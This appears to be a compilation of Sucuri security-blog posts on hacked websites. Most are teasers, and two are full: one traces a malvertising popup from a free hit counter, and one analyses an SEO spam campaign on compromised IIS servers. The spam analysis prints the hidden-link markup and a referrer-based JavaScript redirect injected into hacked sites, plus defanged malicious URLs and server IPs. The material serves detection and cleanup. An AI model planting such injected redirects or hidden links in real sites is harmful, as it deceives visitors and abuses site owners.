How Social Media Blacklisting Happens

Social Media Blacklists

In today’s world, we are all browsing websites online and sharing content on a multitude of social media platforms every day. Worldwide social media users exceeded 2 billion back in August 2014, with an adoption rate unlike anything we have seen in history. Social media continues to grow around the world, with active user accounts now equating to roughly 29% of the world’s population. Monthly active user (MAU) figures for the most active social network in each country add up to almost 2.08 billion – a 12% increase since January 2014.

What is Social Media Blacklisting?

Legitimate links on social media platforms are sometimes hijacked by criminals to direct visitors to a website where malware will be automatically downloaded. The more that people share and use social media, the more often these situations will occur. This is why social media platforms have specific security measures to protect their users from being victims of malicious shared content.

In the same way that websites can be blacklisted by Google for having malware hosted on their pages, social media blacklisting occurs when security triggers detect malicious activity, thus placing the infected links on their internal blacklist. Sometimes they can match the URL with the help of an external blacklist authority, such as McAfee, Google, Web of Trust, or Websense.
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How To Create a Website Backup Strategy

wire-rope-59675_640

We’ve all heard it million times before – backups are important. Still, the reality is that even today, a website backup strategy remains one of the most overlooked and under-utilized precautions we can take to protect our vital data.

Why Are Backups So Important

Put simply, a good set of backups can save your website when absolutely everything else has gone wrong. If a malicious attacker decides they want to wipe all your site files, or if your web server has a catastrophic hard drive failure, all the damage can be easily undone by restoring from your backups. The idea is simple. In order to make sure our data is safe, you make a copy of it. If something happens to the original copy you can always use your backup copy.

Simple right? Unfortunately it isn’t that simple at all and there are a number of factors that determine whether your backups will be useful, practical and secure.

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Why Website Reinfections Happen

why-does-your-website-keep-getting-reinfected

I joined Sucuri a little over a month ago. My job is actually the Social Media Specialist, but we have this process where regardless of your job you have to learn what website infections look like and more importantly, how to clean them. It’s this idea that no matter who you are, you must know the foundation that makes this company work. After a month of this training, I made some very interesting observations through my interactions with some of our clients and felt some might find it interesting, especially why website reinfections occur. This might be new to some, and not so new to others, but for me it was fascinating and worth a share.

I will note that I was like many of you a month ago, I operated my own website, and still do, and came to know of Sucuri because my own website had been hacked. Such is the circle of life that I now work at this fascinating place. Here are some of my observations from my last month here and I hope they help someone.

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The Impacts of a Hacked Website

Today, with the proliferation of open-source technologies like WordPress, Joomla and other Content Management Systems (CMS) people around the world are able to quickly establish a virtual presence with little to no cost. In the process however, a lot is being lost in terms of what it means to own a website.

We are failing each other, we are not setting ourselves up for success. We are learning the hard way what large organizations already learned – being online is a responsibility and will eventually cost you something.

I recently shared a post talking to the motivations behind hacks. This post was important as it helped provide context and I encourage you to spend some time digesting the information. What it fails to do is what I want to focus on in this post.

What are the impacts of these hacks to your website? To your business?
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Why Websites Get Hacked

I spend a good amount of time engaging with website owners across a broad spectrum of businesses. Interestingly enough, unless I’m talking large enterprise, there is a common question that often comes up:

Why would anyone ever hack my website?

Depending on who you are, the answer to this can vary. Nonetheless, it often revolves around a few very finite explanations.

Automation is Key

Understand that the attacks affecting a large number of website owners in the prosumer category (a term I’m using to describe website owners in micro, small, and medium-sized businesses leveraging platforms like WordPress, Joomla and others) are predominantly automated. I wrote an article on the subject back in 2012, it’s important to revisit the subject as it’s still very relevant today.

The benefits of these automated attacks have not changed, they still provide the attackers the following benefits:

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The Dynamics of Passwords

history of passwords

How often do you think about the passwords you’re using? Not only for your website, but also for everything else you do on the internet on a daily basis? Are you re-using any of the same passwords to make it easier to remember them?

We see it all too often: weak passwords used to secure website login for FTP, database, cPanel, and the CMS dashboard. Everyone has their own password policy. It’s very personal and usually based on a set of assumptions about online security. Many users choose policies of efficiency over security. Even the paranoid among us have to confront the truth. Like any defensive measure, best practices in password management can only minimize the level of risk.

Password management is a choice, and a habit. By taking a good look at the risks, users can make informed decisions and put better passwords into practice.

History of the Password

Most password strength meters are too soft. The companies that use them know this, but they don’t want users to leave the registration process due to a restrictive password policy. Modern software can guess many so-called “strong” passwords in minutes, and the most common passwords in milliseconds. As password hacking grew in complexity over time, so did the requirements on passwords.


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Creative Evasion Technique Against Website Firewalls

During one of our recent in-house Capture The Flag (CTF) events, I was playing with the idea of what could be done with Non-Breaking Spaces. I really wanted to win and surely there had to be a way through the existing evasion controls.

This post is going to be a bit code-heavy for most end-users, but if you choose to read you’re bound to find it very insightful.


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Website Backdoors Leverage the Pastebin Service

We continue our series of posts about hacker attacks that exploit a vulnerability in older versions of the popular RevSlider plugin. In this post we’ll show you a different backdoor variant that abuses the legitimate Pastebin.com service for hosting malicious files.


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Malvertising on a Website Without Ads

When you first configure your website, whether it be WordPress, Joomla, Drupal, or any other flavor of the month, it is often in its purest state. Unless ofcourse the server was previously compromised, which in it of itself is another conversation outright. Barring that one instance, the new website should not exhibit any malicious behavior. Or so you would think.

It’s rare though that a default theme will satisfy your every need, it’s often has just enough to wet your beak and get you thinking of ways to extend functionality. So we set off to extend and leverage all the features our favorite CMS offer us.

Watering Down Core Security

The next steps are to add on, to extend. New themes, plugins, sliders, animated gifs, music… no, wait, that’s too 1990’s. Let’s focus on themes, plugins, templates and various other extensions found in today’s modern CMS applications.

Often, the first thing you have in mind when choosing anything for your website is functionality and aesthetics, right? We all want something that looks great and improves user experience. It may be a really cool theme or the newest social network plugin; it’s not a common practice however to inspect its behavior.

What if one of the add-ons you installed is injecting hidden ads on your site? Or what if they are loading pop-up windows like this one?

HD Video Player Advertisement

Malicious Fake Flash Download

This is exactly what a client recently experienced. After installing a clean install of their CMS, configuring and extending it with a new theme, their website started to present it’s users with a Flash installer. For those wondering, this is fairly common, and is something known as a Drive-by-Download. More on that another time though.

Following The Trail

As is natural for us in the research group we can’t help but get lost in cookie trails, every crumbs proves to be more fascinating than that last.

While investigating, it became apparent that the Flash installer was being loaded via an ad, an ad that was being served via an ad network. Immediately I’m thinking malvertising, right?

In this case, the owner hadn’t configured advertising though and yet it was loading content from an ad network.

For your reference, here’s the HTTP Request showing the ad was being loaded by the infected website.

HTTP Headers of the Malvertising Campaign

HTTP Headers of the Malvertising Campaign

While investigating the code I couldn’t find any reference to the adcash.com domain in either the theme or plugin files. Again, the website owner confirmed that he was not using any ad networks. So that left us no choice but to dig a little deeper, we started to investigate the HTTP traffic.

While intercepting the sites Requests and Responses I came across the following entry:

Sucuri - AdCash

Sucuri – AdCash

It’s a request to hxxp:// 37.187.248.215 that returned a 302 Redirect to adcash.com. Yes, success!!! All right! We are one step closer to the source, I was probably looking for the wrong URL in the source code. Duh… Address noted, let’s keep checking the HTTP traffic.

Checking the HTTP responses for that IP address I found this:

URL Variable in HTTP Headers

URL Variable in HTTP Headers

There it is, the hit counter JavaScript code was loading the ad, as you can see the URL in the uri84 variable. It is making a request here: counter6.statcounterfree.com. This request was causing the popup, but was only being triggered once per visitor and the content looks random, suspicious and, more importantly, unwanted.

Adware or Malvertising?

Turns out that the client did in fact add the counter script to their themes footer, so it didn’t come prepackaged. They were trying to keep track of their visitors, they had no intentions of their site being used to serve ads though.

So being that the source of the counter was www.freecounterstat.com I decided to spend some time familiarizing myself with what they do. I spent some time reading through their End User License Agreement (EULA), you never know what goodness you agree too.

Unfortunately, no luck, nothing related to terms or privacy on the website. So I contacted their support to see if this type of behavior was expected.

Based on their response, I’d argue it probably wasn’t:

Hi,

I turn off popup on your account

chris

This is the message I received from support. There are obviously a number of things with that response that worry me, but now the clients website is clean. Whether intentional or not, it’s hard to say, but I’d likely categorize it as a compromised ad network and a malvertising attack.

Personally, I’d stop using this counter script. It’s obviously very 1990 for one, but more importantly if the solution is to disable ads for this site, but not address the bigger issue of drive by downloads being used via the service, that is very concerning. We’ve written about the dangers third-party scripts and service introduce to your environment, this is another example of that.

Conclusion

It is really hard to keep an online service, and even harder if you are doing this for free, so it is understandable that a service uses the adware model to maintain itself. However, it must disclose this to it’s users and offer them an option to opt out. To do it and not offer a user this options is wrong, and as website owners you must be more diligent.

Always check the terms, EULA and privacy policies of third-party software you are using on your website. If they don’t have them, that’s probably a good sign not to use them. Look for any suspicious terms before agreeing to them. If you need help, or you suspect that a plugin or theme is behaving maliciously, let us know.

We love looking through code and potential issues…:) Hit us up at labs@sucuri.net. Happy hunting!!

IIS, Compromised GoDaddy Servers, and Cyber Monday Spam

While doing an analysis of one black-hat SEO doorway on a hacked site, I noticed that it linked to many similar doorways on other websites, and all those websites were on IIS servers. When I see these patterns, I try to dig deeper and figure out what else those websites have in common. This time I revealed quite a few GoDaddy Windows servers have been pwned by “replica spam” hackers.

Let’s Dig Into Some Numbers

1,782 Domains. I collected 1,782 unique compromised domains that hackers use in this campaign. This list is just a tip of an iceberg and I’ll show why a bit later, so read on.

305 IP Addresses. Those websites are scattered across 305 unique IP addresses (actually 304, if we ignore four domains whose addresses I couldn’t resolve). This means roughly 6 websites per IP, however they are not evenly distributed and while many IPs only have one compromised site, some of the servers have hundreds of them.

Top networks:

  • GoDaddy: 95 hosts (31%) and 1,095 websites ( 61%. )
  • Brinkster: 50 hosts (16%) and 258 websites (14%)
  • Network Solutions: 27 hosts (9%) and 77 websites (4%)
  • Versaweb LLC: 5 hosts (1.6%) and 88 websites (5%)

As you can see, 84% of all websites belong to 4 networks.

Let’s look closer at servers on these networks, but before we do it I’ll show how I find compromised websites.

Cyber Monday Spam

The spam campaign I’m investigating is promoting online stores that sell cheap “replicas” of popular luxury brands like Beats by Dre, Michael Kors, Lululemon, Uggs, Juicy Couture, Moncler, Ray Ban, etc. Most of the doorways are currently optimized for Black Friday and Cyber Monday deals. The typical anchor text they use in their links is something like “michael kors cyber monday” or “uggs black friday“.

These spammy links point to the homepage of compromised websites, which typically have a block of hidden links at the bottom of HTML code:

<div style="position:absolute;filter:alpha(opacity=0);opacity:0.001;z-index:10;"> ... 
30-400 spammy links here ... 
</div>

If the website is vulnerable enough, hackers will install a script that generates completely new spammy pages specifically for search engines and return normal pages for human visitors — cloaking. The “human” versions of the pages have a small script at the very top of the HTML (usually before the tag) that redirects web searchers to spammy sites. It either something like this:

<script>
var s=document.referrer;
if(s.indexOf("google")>0 || s.indexOf("bing")>0 || s.indexOf("aol")>0 || s.indexOf("yahoo")>0)
{
self.location='hxxp://www .jackets pretty .com'; //just one of many domains they use
}</script>

or a similar script, loaded from the spammers’ own server:

<script src="hxxp://nofie.talkmes . com/c/nofie.js" type="text/javascript"></script>

At this point they use the following script URLs:

hxxp://bats . solorule . com/d/bats.js
hxxp://bats . solorule . com/c/bats.js
hxxp://cancher . iamsanver . com/a/cancher.js
hxxp://cancher . letgopub . com/c/cancher.js
hxxp://cancher . sanonsport . com/d/cancher.js
hxxp://luover . unbangs . com/c/luover.js
hxxp://meika . ruvipshop . com/a/meika.js
hxxp://meika . sportruns . com/d/meika.js
hxxp://meika . ruvipshop . com/a/meika.js
hxxp://meika . ukingfans . com/c/meika.js
hxxp://nofie . godalice . com/d/cagode.js
hxxp://nofie . godalice . com/kspe.js
hxxp://nofie . rockenice . com/a/cagode.js
hxxp://nofie . rockenice . com/a/nofie.js
hxxp://nofie . talkmes . com/c/nofie.js
hxxp://ungogo . godleders . com/a/ungogo.js
hxxp://ungogo . leftgod . com/c/ungogo.js
hxxp://ungogo . leftgod . com/c/ungogo.js
hxxp://ungogo . nightleder . com/d/ungogo.js
hxxp://js . xufengonline . com/js/zong.js
hxxp://www . monclerslocker . com/js/style.js

Most of them are on the 173.252.207.166 IP (Take 2 Hosting Inc).

Detection

Any of these variants are easily detected by both Sucuri SiteCheck and Unmask Parasites, so it’s not a problem to check websites and tell whether they are infected or not.

Now that we know how to detect the infection, let’s just test random websites on some of the IPs that have many infected websites (based on my doorway analysis).

For example, let’s take 184.168.152.150 (where I found 25 doorways) and use the Bing’s “ip:” search operator along with the “cyber monday” keyword to find websites on that server: http://www.bing.com/search?q=ip%3A184.168.152.150+cyber+monday. Now you can scan websites for results that point to home pages (/ or index.html). More than 70% of the websites I checked are still infected (the rest either won’t load or have been cleaned already).

Bing Cyber Monday Results

Bing Cyber Monday Results

Compromised Servers

This simple Bing search revealed hundreds of infected websites on that server. I observed the same results for 49 out of 95 GoDaddy servers from my list.

184.168.152.149
184.168.152.150
184.168.152.151
184.168.152.3
184.168.27.116
184.168.27.204
184.168.27.205
184.168.27.206
184.168.27.32
184.168.27.33
184.168.27.34
184.168.27.35
184.168.27.36
184.168.27.37
184.168.27.39
184.168.27.40
184.168.27.41
184.168.27.44
184.168.27.46
184.168.27.47
184.168.27.81
184.168.27.82
184.168.27.83
184.168.46.17
184.168.46.18
184.168.46.74
50.63.196.33
50.63.196.34
50.63.196.35
50.63.196.47
50.63.197.10
50.63.197.12
50.63.197.13
50.63.197.139
50.63.197.140
50.63.197.141
50.63.197.142
50.63.197.144
50.63.197.145
50.63.197.203
50.63.197.206
50.63.197.207
50.63.197.208
50.63.197.6
50.63.197.7
50.63.197.8
50.63.197.9
50.63.202.26
97.74.215.156

Those 49 servers are shared Windows servers with thousands of sites. For example, Domaintools.com says 2,050 sites use the 184.168.152.150 address. The websites I checked belong to different users so it’s not just a matter of individual compromised accounts. And the websites are quite heterogeneous – ASP, PHP, pure HTML, etc. so it doesn’t look like a common web application vulnerability either. It looks like those servers have been pwned by hackers who now have access to most user accounts there. Given that we have almost 50 known such Windows servers on the GoDaddy network, this may mean some infrastructure level problems or at least common Windows server security configuration issues.

The rest of the servers typically have one or very few websites (I suppose either dedicated servers or IPs) so they don’t affect this hypothesis.

Some of the Brinkster and Versaweb servers also have this issue:

65.182.100.172
65.182.100.177
65.182.100.186
65.182.100.191
65.182.100.88
65.182.101.106
65.182.101.150
65.182.101.152
65.182.101.206
65.182.101.207
65.182.101.41
65.182.101.60

76.164.226.242
76.164.226.243
76.164.226.244
76.164.226.245
76.164.226.246

It’s still not clear why all websites on those servers have not been infected (or have they been cleaned already?). Maybe hackers infected them semi-manually, so just a few hundred infected websites was good enough for them?

When checking random websites on the compromised servers I noticed that some of them used very old versions of CMS’s (e.g. 4 year old WordPress). Maybe such websites were the penetration points that helped hackers compromise the whole servers later?

I also know that hackers install PHP wrapper scripts on pure HTML sites. For example, it’s typical to see a default.php working instead of index.html when you request a homepage. This wrapper script explains why you see the injected script at the very top of the HTML code and how hackers manage to implement “cloaking” on pure HTML sites.

At this point, I can only see the following things in common on the servers used in this spam campaign:

  • Windows
  • IIS (usually an old version)
  • PHP support

I wonder if this combination has a known security hole that allows to pwn server?

To Webmasters

This time I’d like to reach out to webmasters who host their websites on shared Windows servers. Especially to GoDaddy clients.

Please Check Your Websites ASAP!

You can start with free online scanners like Sucuri SiteCheck and Unmask Parasites,

Then check search results for your website on Google (the “site:” operator), where you should look for unexpected keywords in your page titles and descriptions. Make sure to check “cached” copies that Google store for your site. Then add the following keywords to your “site:” search that may help your spot more web spam:

  • site:yourdomain.com cheap
  • site:yourdomain.com buy online
  • site:yourdomain.com “cyber monday”
  • site:yourdomain.com “black friday”
  • site:yourdomain.com outlet

Then you might want to figure out if your server looks compromised. First, identify your website’s IP address. You can use commands like ping or host, you can enter your domain name on a website like whois.domaintools.com, or you can at least ask your hosting provider. With your IP, you can then use the Bing‘s “ip:” search along with some spammy keywords.

Here are a few searches that I suggest you can try:

ip:ip address cyber monday
ip:ip address black friday
ip:ip address ”beat by dre cheap”
ip:ip address ”Cheap Louis Vuitton”
ip:ip address viagra online
ip:ip address payday loans
ip:ip address “order cialis online”

If you see many results from different websites, you might want to ask your hosting provider what’s going on there, and if the server is really secure.

We are currently contacting hosting providers so they can address this issue…